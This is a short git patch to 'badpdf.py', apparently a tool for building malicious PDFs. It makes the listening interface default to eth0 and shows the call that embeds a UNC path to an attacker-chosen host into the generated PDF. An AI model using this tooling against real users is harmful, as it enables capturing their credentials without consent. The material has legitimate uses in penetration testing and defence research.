From 2e1cd45e2f938aa1136c0d9ba36f241a8e9acc86 Mon Sep 17 00:00:00 2001 From: OKUMURA Takahiro Date: Wed, 7 Nov 2018 22:39:37 +0900 Subject: [PATCH] If enter without any strings, use default interface name (eth0) --- badpdf.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/badpdf.py b/badpdf.py index 82ea219..fa4bb84 100644 --- a/badpdf.py +++ b/badpdf.py @@ -123,7 +123,10 @@ def create_malpdf(filename, host): host = raw_input("Please enter Bad-PDF host IP: \n") filename = raw_input("Please enter output file name: \n") - interface = raw_input("Please enter the interface name to listen(Default eth0): \n") + ifc = raw_input("Please enter the interface name to listen(Default eth0): \n") + if ifc != '': + interface = ifc + create_malpdf(filename, '\\\\' + '\\\\' + host + '\\\\') print("Bad PDF %s created" %filename)